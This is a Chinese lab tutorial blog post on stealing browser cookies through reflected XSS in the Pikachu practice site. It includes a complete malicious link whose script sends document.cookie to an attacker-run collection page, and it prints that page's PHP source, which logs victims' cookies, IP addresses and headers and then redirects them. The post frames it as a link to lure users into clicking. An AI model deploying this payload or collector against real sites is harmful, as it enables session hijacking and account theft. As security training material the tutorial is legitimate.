2.5 xss(get)获取cookie信息

朱雀 2022-12-23 00:39 144阅读 0赞

## cookie获取及xss后台 ##

### 原理 ###

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center]

### 准备环境 ###

<table> 
 <thead> 
  <tr> 
   <th>主机</th> 
   <th>网站</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Window server 2016</td> 
   <td>搭建pikachu</td> 
  </tr> 
  <tr> 
   <td>Window 10</td> 
   <td>正常的客户</td> 
  </tr> 
  <tr> 
   <td>Window server 2008</td> 
   <td>攻击者搭建的xss后台</td> 
  </tr> 
 </tbody> 
</table>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 1]

### 环境搭建 ###

#### 第一步 在数据库中创建pkxss数据库 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 2]

#### 第二步 初始化网站 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 3]

#### 第三步 初始化成功 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 4]

#### 第四步 成功访问网站 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 5]

#### 第五步 登录查看网站信息 ####

http://192.168.232.129/pkxss/xcookie/pkxss_cookie_result.php

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 6]

### 案例演示 ###

#### 第一步 在输入非正常的链接 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 7]

#### 第二步 提交带有攻击方信息的恶意链接 ####

![在这里插入图片描述][20201120231320425.png_pic_center]  
![在这里插入图片描述][2020112023134549.png_pic_center]

#### 第三步 查看攻击方网站获取的cookie信息 ####

![在这里插入图片描述][20201120231351415.png_pic_center]

#### 第四步 将恶意链接保存，可诱导客户进行点击 ####

http://192.168.1.232.129/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.232.129%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2Bdocument.+cookie%3B%3C%2Fscript%3E&submit=submit

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 8]  
![在这里插入图片描述][20201120231420656.png_pic_center]

#### 第五步 代码审计 ####

Cookie.php 用于记录信息，并存入数据库  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 9]

Pkxss\_cookie\_result.php 首界面，用户查询数据库的信息，并回显到界面

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 10]

#### Pkxss\_cookie\_result.php 源代码 ####

<?php
    // error_reporting(0);
    include_once '../inc/config.inc.php';
    include_once '../inc/mysql.inc.php';
    $link=connect();
    
    // 判断是否登录，没有登录不能访问
    if(!check_login($link)){ 
        header("location:../pkxss_login.php");
    }
    
    
    if(isset($_GET['id']) && is_numeric($_GET['id'])){ 
        $id=escape($link, $_GET['id']);
        $query="delete from cookies where id=$id";
        execute($link, $query);
    }
    ?>
    
    
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>cookie搜集结果</title>
    <link rel="stylesheet" type="text/css" href="../antxss.css" />
    </head>
    <body>
    <div id="title">
    <h1>pikachu Xss 获取cookies结果</h1>
    <a href="../xssmanager.php">返回首页</a>
    </div>
    <div id="xss_main">
    <table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
        <tr>
            <td>id</td>
            <td>time</td>
            <td>ipaddress</td>
            <td>cookie</td>
            <td>referer</td>
            <td>useragent</td>
            <td>删除</td>
        </tr>
        <?php 
        $query="select * from cookies";
        $result=mysqli_query($link, $query);
        while($data=mysqli_fetch_assoc($result)){ 
    $html=<<<A <tr> <td>{ $data['id']}</td> <td>{ $data['time']}</td> <td>{ $data['ipaddress']}</td> <td>{ $data['cookie']}</td> <td>{ $data['referer']}</td> <td>{ $data['useragent']}</td> <td><a href="pkxss_cookie_result.php?id={ $data['id']}">删除</a></td> </tr> A;
             
            echo $html;
            
            
        }
        
        ?>
        
    </table>
    </div>
    </body>
    </html>

#### Cookie.php源代码 ####

<?php
    include_once '../inc/config.inc.php';
    include_once '../inc/mysql.inc.php';
    $link=connect();
    
    //这个是获取cookie的api页面
    
    if(isset($_GET['cookie'])){ 
        $time=date('Y-m-d g:i:s');
        $ipaddress=getenv ('REMOTE_ADDR');
        $cookie=$_GET['cookie'];
        $referer=$_SERVER['HTTP_REFERER'];
        $useragent=$_SERVER['HTTP_USER_AGENT'];
        $query="insert cookies(time,ipaddress,cookie,referer,useragent) values('$time','$ipaddress','$cookie','$referer','$useragent')";
        $result=mysqli_query($link, $query);
    }
    header("Location:http://192.168.232.157:8088/pikachu/index.php");//重定向到一个可信的网站
    
    ?>

### 摘抄 ###

##### 这世上肯定某个角落， #####

##### 存在着能完全领会我想表达的意思的人。 #####

##### —村上村树 #####

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center]: /images/20221120/ac32db8710fe46e284bd82973129ba74.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221120/d8fa523faf1749619d265b20f621ed93.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221120/3509f297a22c487f94c0298cf4e4da27.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221120/bc058fc2cebd489a8073251668718400.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221120/e455b8c3bfc0472593f85c083e4c871d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20221120/c4217f9bab8f4373a80064f6542c435d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 6]: /images/20221120/f36f461d95174427a18bd9ed54180bf1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 7]: /images/20221120/760dccf67df24543879781d2b6a1b5b4.png
[20201120231320425.png_pic_center]: /images/20221120/c43719d6f1954dcaafc4cad9d26ffc76.png
[2020112023134549.png_pic_center]: /images/20221120/d3315bf6753d4a73b8badcb5747f025f.png
[20201120231351415.png_pic_center]: /images/20221120/f359644d3c954c0f8e0de4410d5edee4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 8]: /images/20221120/a0c1002b216c4bbeb5de28ec9a7d2e9c.png
[20201120231420656.png_pic_center]: /images/20221120/23a37a9e185647d2960ad248204ca8d0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 9]: /images/20221120/f93b06a4847f40f3b781455418b0e2c2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70_pic_center 10]: /images/20221120/95bdec4492f44ccd963567c177ffe126.png